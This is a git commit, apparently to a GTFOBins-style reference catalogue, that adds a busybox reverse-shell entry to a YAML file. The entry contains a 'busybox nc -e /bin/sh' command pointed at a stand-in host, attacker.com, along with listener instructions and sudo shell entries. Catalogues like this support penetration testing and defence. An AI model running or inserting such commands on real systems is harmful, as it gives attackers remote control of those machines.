Added reverse shell functionality to busybox if "busybox nc" is available

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
astor9 2023-12-23 13:03:05 +01:00 committed by GitHub
parent afadeeb61e
commit a5a1f86b97
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -21,4 +21,10 @@ functions:
code: "./busybox sh"
sudo:
- code: sudo busybox sh
reverse-shell:
- description: Run `nc -lvp 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
busybox nc -e /bin/sh $RHOST $RPORT
---